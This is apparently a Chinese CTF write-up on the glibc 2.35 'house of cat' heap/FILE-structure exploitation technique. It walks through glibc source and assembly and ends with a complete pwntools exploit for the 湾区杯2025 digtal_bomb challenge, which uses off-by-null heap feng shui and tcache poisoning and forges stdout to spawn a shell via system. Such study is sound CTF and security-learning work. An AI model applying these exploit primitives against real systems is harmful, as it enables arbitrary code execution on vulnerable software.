0x00

湾区杯被堆题斩于马下,赛后找到powchan的exp,利用堆风水打house of cat,并且相比于板子,更特殊的点就是打stdout并修改mode为**-1**,不需要__malloc_assertexit或者是fflush来触发。另一个题解则是打libc-got
姑且先学习一下常规的house of cat
参考博客

本文贴出源码无特别提及皆为glibc2.35

0x01 __malloc_assert

正常情况下,glibc 的断言失败会走 __assert_fail(在 <assert.h> 里定义)。而在 malloc 的时候,它单独定义了一个版本,走 __malloc_assert,这样方便在 malloc 相关的代码里触发断言时输出更有针对性的错误信息
malloc时遇到分配错误则会触发断言,malloc.c做了如下映射(glibc2.35)

1
2
# define __assert_fail(assertion, file, line, function)			\
__malloc_assert(assertion, file, line, function)

__malloc_assert实现如下

1
2
3
4
5
6
7
8
9
10
11
12
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}

先看__fxprintf,我们找到

1
2
3
4
5
6
7
8
9
int
__fxprintf (FILE *fp, const char *fmt, ...)
{
va_list ap;
va_start (ap, fmt);
int res = __vfxprintf (fp, fmt, ap, 0);
va_end (ap);
return res;
}
1
2
3
4
5
6
7
8
9
10
11
int
__vfxprintf (FILE *fp, const char *fmt, va_list ap,
unsigned int mode_flags)
{
if (fp == NULL)
fp = stderr;
_IO_flockfile (fp);
int res = locked_vfxprintf (fp, fmt, ap, mode_flags);
_IO_funlockfile (fp);
return res;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
static int
locked_vfxprintf (FILE *fp, const char *fmt, va_list ap,
unsigned int mode_flags)
{
if (_IO_fwide (fp, 0) <= 0)
return __vfprintf_internal (fp, fmt, ap, mode_flags);

/* We must convert the narrow format string to a wide one.
Each byte can produce at most one wide character. */
wchar_t *wfmt;
mbstate_t mbstate;
int res;
int used_malloc = 0;
size_t len = strlen (fmt) + 1;

if (__glibc_unlikely (len > SIZE_MAX / sizeof (wchar_t)))
{
__set_errno (EOVERFLOW);
return -1;
}
if (__libc_use_alloca (len * sizeof (wchar_t)))
wfmt = alloca (len * sizeof (wchar_t));
else if ((wfmt = malloc (len * sizeof (wchar_t))) == NULL)
return -1;
else
used_malloc = 1;

memset (&mbstate, 0, sizeof mbstate);
res = __mbsrtowcs (wfmt, &fmt, len, &mbstate);

if (res != -1)
res = __vfwprintf_internal (fp, wfmt, ap, mode_flags);

if (used_malloc)
free (wfmt);

return res;
}

有这样的调用链

1
__malloc_assert => __fxprintf => __vfxprintf => locked_vfxprintf => __vfprintf_internal => _IO_file_xsputn

这个__vfprintf_internal就是printf的内部实现
这里printf调用_IO_file_xputn其实就是调用vtable函数来调用的
而后面的

1
fflush (stderr);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int
_IO_fflush (FILE *fp)
{
if (fp == NULL)
return _IO_flush_all ();
else
{
int result;
CHECK_FILE (fp, EOF);
_IO_acquire_lock (fp);
result = _IO_SYNC (fp) ? EOF : 0;
_IO_release_lock (fp);
return result;
}
}

fflush也会调用vtable中的函数 _IO_file_sync (vtable + 0x60),

1
__malloc_assert => fflush(stderr) => _IO_file_sync (_IO_new_file_sync)

正是这两条调用链的存在,__malloc_assert可以用于触发 IO 攻击
如何触发呢?

  • topchunk的大小小于MINSIZE(0X20)

  • topchunkprev inuse位为0

  • old_top页未对齐

最常用的就是修改topchunksize

0x02 虚表偏移

此前分析过glibc2.24及以后的vtable检查,这个检查并不是太严格,只需要在__libc_IO_vatables中即可,这一区域不仅仅只有_IO_file_jumps这一个虚表,同时偏移也是我们可以控制的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_new_file_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
JUMP_INIT(xsputn, _IO_wfile_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_wfile_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
JUMP_INIT(doallocate, _IO_wfile_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_wfile_jumps)

以此为例,假设我们一直一条调用链可以调用vtable中的overflow,我们看到偏移为vtable + 0x10,而如果我们修改vtablevtable + 0x30,那么原先对overflow的调用就会调用到(vtable + 0x30) + 0x10,根据偏移就会调用到seekoff

0x03 house of cat 原理

前文叙述了__malloc_assert触发后的调用链(通过exit触发也可以,总之找到一个触发 IO 链的方法),我们更换虚表为_IO_wfile_jumps,再通过虚表偏移,使调用的虚表函数变为seekoff,其定义如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
off64_t result;
off64_t delta, new_offset;
long int count;

/* Short-circuit into a separate function. We don't want to mix any
functionality and we don't want to touch anything inside the FILE
object. */
if (mode == 0)
return do_ftell_wide (fp);

/* POSIX.1 8.2.3.7 says that after a call the fflush() the file
offset of the underlying file must be exact. */
int must_be_exact = ((fp->_wide_data->_IO_read_base
== fp->_wide_data->_IO_read_end)
&& (fp->_wide_data->_IO_write_base
== fp->_wide_data->_IO_write_ptr));

bool was_writing = ((fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode (fp));

/* Flush unwritten characters.
(This may do an unneeded write if we seek within the buffer.
But to be able to switch to reading, we would need to set
egptr to pptr. That can't be done in the current design,
which assumes file_ptr() is eGptr. Anyway, since we probably
end up flushing when we close(), it doesn't make much difference.)
FIXME: simulate mem-mapped files. */
if (was_writing && _IO_switch_to_wget_mode (fp))
return WEOF;
...
}
libc_hidden_def (_IO_wfile_seekoff)

无关攻击的部分省去,我们需要的是这里调用_IO_switch_to_wget_mode函数,要满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
其定义如下,同样要满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

1
2
3
4
5
6
7
8
9
10
int
_IO_switch_to_wget_mode (FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
return EOF;
...
return 0;
}
libc_hidden_def (_IO_switch_to_wget_mode)

我们只关心最前面几行,调用_IO_WOVERFLOW的部分

1
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)

这个_IO_WOVERFLOW (fp, WEOF)函数是由_IO_FILE_plus结构体的_wide_data字段所指向的_IO_wide_data结构体的_wide_vtable字段所指向的虚表中的函数(这个攻击点和house of apple2是一致的)。在调用_wide_vtable中的函数时_IO_vtable_check并没有检查虚表地址的合法性。
_IO_WOVERFLOW正是_wide_vtable指向虚表偏移0x18处的函数(_wide_vtable字段相对_wide_data偏移为0xe0

1
2
3
4
5
6
7
8
9
10
11
0x7f4cae745d30 <_IO_switch_to_wget_mode>       endbr64
0x7f4cae745d34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0]
0x7f4cae745d3b <_IO_switch_to_wget_mode+11> push rbx
0x7f4cae745d3c <_IO_switch_to_wget_mode+12> mov rbx, rdi
0x7f4cae745d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20]
0x7f4cae745d43 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18]
0x7f4cae745d47 <_IO_switch_to_wget_mode+23> jbe _IO_switch_to_wget_mode+56 <_IO_switch_to_wget_mode+56>

0x7f4cae745d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0]
0x7f4cae745d50 <_IO_switch_to_wget_mode+32> mov esi, 0xffffffff
0x7f4cae745d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]

可以看到这段汇编里(glibc2.35),rdi就是传入的_IO_FILE_plus结构体,[rdi+0xa0]正是fp->_wide_data
我们可以发现这里我们可以控制到rdx寄存器,那么也就可以打setcontext+61来进行ROP,见另一篇
到这里攻击手法就浮出水面了

0x04 house of cat 攻击手法

总结一下上面的原理,我们需要绕过

1
2
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
fp->_lock是一个可写地址(堆地址、libc中的可写地址)

然后布置

1
2
3
fp->_wide_data->_wide_vtable->_IO_WOVERFLOW = call_addr
# 如果要控制rdx
rdx = fp->_wide_data->_IO_write_ptr
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/* Extra data for wide character streams.  */
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback + get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */

/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of backup area. */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */

__mbstate_t _IO_state; /* Conversion state. */
__mbstate_t _IO_last_state; /* Last conversion state. */

struct _IO_codecvt _codecvt; /* Character set conversion. */

const struct _IO_jump_t *_wide_vtable;
};

以下是__malloc_assert触发的攻击示例

1
2
3
4
5
6
7
8
9
10
fake_IO_addr = ''
fake_IO = b'sh' # _flags
fake_IO = fake_IO.ljust(0x30 + 0x20, b'\x00') + p64(rdx) # rdx = [rax+0x20] / _wide_data->_IO_write_ptr
fake_IO = fake_IO.ljust(0x40 + 0x18, b'\x00') + p64(call_addr) # _wide_data->_wide_vtable->_IO_WOVERFLOW
fake_IO = fake_IO.ljust(0x68, b'\x00') + p64(0) # _chain
fake_IO = fake_IO.ljust(0x88, b'\x00') + p64(writable_addr) # _lock 指向可写地址
fake_IO = fake_IO.ljust(0xa0, b'\x00') + p64(fake_IO_addr + 0x30) # _wida_data
fake_IO = fake_IO.ljust(0xc0, b'\x00') + p64(1) # _mode = 1
fake_IO = fake_IO.ljust(0xd8, b'\x00') + p64(libc_base + libc.sym["_IO_wfile_jumps"] + 0x10) # vtable
fake_IO = fake_IO.ljust(0x30 + 0xe0, b'\x00') + p64(fake_IO_addr + 0x40) # _wida_data->_wide_vtable

如果用_IO_cleanup触发的话(也就是打FSOP),vtable调用的是overflow,我们需要修改虚表偏移,修改为libc_base + libc.sym["_IO_wfile_jumps"] + 0x30,且要求rcx不为0
然而打FSOP的情况,还是直接打house of apple

0x05 湾区杯2025 digtal_bomb

利用off-by-nullhouse of cat

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "digtal_bomb_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/libc6_2.35-0ubuntu3.10_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 1337
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b *$rebase(0x19d6)
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/libc6-dbg_2.35-0ubuntu3.10_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/glibc-source_2.35-0ubuntu3.10_all/usr/src/glibc/glibc-2.35
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


def bomb():
io.recvuntil(b': ')
io.sendline(b'0')
io.recvuntil(b': ')
io.sendline(b'1')
io.recvuntil(b'guess :')
io.sendline(b'1')

io = start()

bomb()

# ========================================
# Welcome to the message board!
# Please choose an option:
# 1. New message board
# 2. Delete message board
# 3. Show message board
# 4. Save the game
# Your choice >>
menu = b'>>'

def new(idx, size, data = b"deadbeef"):
io.recvuntil(menu)
io.sendline(b'1')
io.recvuntil(menu)
io.sendline(str(idx))
io.recvuntil(menu)
io.sendline(str(size)) # 0x10 < size <= 0x800
io.send(data)

def free(idx):
io.recvuntil(menu)
io.sendline(b'2')
io.recvuntil(menu)
io.sendline(str(idx))

def show(idx):
io.recvuntil(menu)
io.sendline(b'3')
io.recvuntil(menu)
io.sendline(str(idx))

def edit(idx, data): #once data-->0x10
io.recvuntil(menu)
io.sendline(b'666')
io.recvuntil(menu)
io.sendline(str(idx))
io.send(data)

new(0, 0x410) # 0
new(1, 0x100) # 1
new(2, 0x430) # 2
new(3, 0x430) # 3 --------------------ck3的堆地址最低字节为\x00----------------------
new(4, 0x100) # 4
new(5, 0x480) # 5
new(6, 0x420) # 6
new(7, 0x100) # 7
free(0)
free(3)
free(6)

free(2)
new(0, 0x450, b'a'*0x438+p16(0x551)) # 0 ck2和极小部分ck3 ----------ck3的size被改为0x551,注意这里的p16,如果是p64,ck3的fd会被修改-----------

new(2, 0x410) # 2 部分ck3
new(3, 0x420) # 3 ck6
new(6, 0x410) # 6 ck0

#修复ck0->bk
free(6)
free(2)
new(2, 0x410) # 2 ck0
new(6, 0x410) # 6 部分ck3

#修复ck6->fd
free(6)
free(3)
free(5) #delete(5)会unlink ck6 ,合成一个大小为0x8c1的chunk

#-----------------切割0x8c1的chunk,同时覆盖ck6->fd低字节为\x00-------------
new(3, 0x4f0, b"a"*0x488 + p64(0x431)) # 3
new(5, 0x3b0) # 5

#------------------通过ck4把ck5的prev_size改为0x550,size的最低字节变为\x00-------------
free(4)
new(4, 0x108, b"a"*0x100 + p64(0x550))#4
new(6, 0x410)

#6 ------------------把largebin中的部分ck3拿出,这里造了一个uaf,至关重要------------------
#------------------那么free(3)通过prev_size找到的chunk就是伪造了size的ck3,前面已经使得其满足unlink的条件----------------
free(3)

new(3, 0x18)#3--------------------让部分ck3作为unsorted bin的fd----------------
show(6)
io.recvuntil(b":\n")
libc_base = u64(io.recvn(6).ljust(8,b'\x00')) - 0x1ebbe0 - 0x2f100
log.success("libc_base --> "+hex(libc_base))

#--------------------因为部分ck3之前既在largebin中,又在unsorted bin中,所以可以让两个指针指向ck3
#--------------------同时让其大小变为0x400,这里仿佛硬造出了一个uaf,6、8都指向部分ck3-------------------
new(8, 0x3f0)#8 这里让部分ck3的size变成0x400让其可以进入tcache进而泄露heapbase------------
new(9, 0x60, b'a' * 0x18 + p64(0x91))#9 ------------------ck4的chunk大小本来为0x110,这一步让最初ck4的chunk的大小变为0x90----------
#这样做主要是因为ck4没有被free,相当于uaf,可以伪造chunk size实现越界edit
new(10, 0x3f0)#10 --------------------申请一个0x400大小的chunk,为了后面打tcache poison
free(6)
show(8)
io.recvuntil(":\n")
heap_base= (u64(io.recv(5).ljust(8, b'\x00')) << 12)
log.success("heap_base --> "+hex(heap_base))

stdout = libc.sym['_IO_2_1_stdout_'] + libc_base
free(4) #0x90 tcache
free(10) #0x400 tcache :10->6
#通过那个0x90的chunk来实现edit(10)进行tcache poison,构思太巧妙了
new(10,0x80, b'a' * 0x48 + p64(0x401) + p64((heap_base+0x10a0)>>12^stdout))

# house of cat 打 stdout
fake_IO_addr = stdout
fake_IO = b'sh' # _flags
fake_IO = fake_IO.ljust(0x30 + 0x20, b'\x00') + p64(fake_IO_addr + 0x120) # rdx = [rax+0x20] / _wide_data->_IO_write_ptr 此处我们不需要控制rdx,随便设置一个大于0的值即可,满足大于_wide_data->_IO_write_base
fake_IO = fake_IO.ljust(0x40 + 0x18, b'\x00') + p64(libc_base + libc.sym["system"]) # _wide_data->_wide_vtable->_IO_WOVERFLOW
fake_IO = fake_IO.ljust(0x68, b'\x00') + p64(0) # _chain
fake_IO = fake_IO.ljust(0x88, b'\x00') + p64(fake_IO_addr + 0x120) # _lock 指向可写地址
fake_IO = fake_IO.ljust(0xa0, b'\x00') + p64(fake_IO_addr + 0x30) # _wida_data
fake_IO = fake_IO.ljust(0xc0, b'\x00') + p32(0xffffffff) # _mode = -1
fake_IO = fake_IO.ljust(0xd8, b'\x00') + p64(libc_base + libc.sym["_IO_wfile_jumps"] + 0x10) # vtable
fake_IO = fake_IO.ljust(0x30 + 0xe0, b'\x00') + p64(fake_IO_addr + 0x40) # _wida_data->_wide_vtable

new(4, 0x3f0)
new(6, 0x3f0, fake_IO)

io.interactive()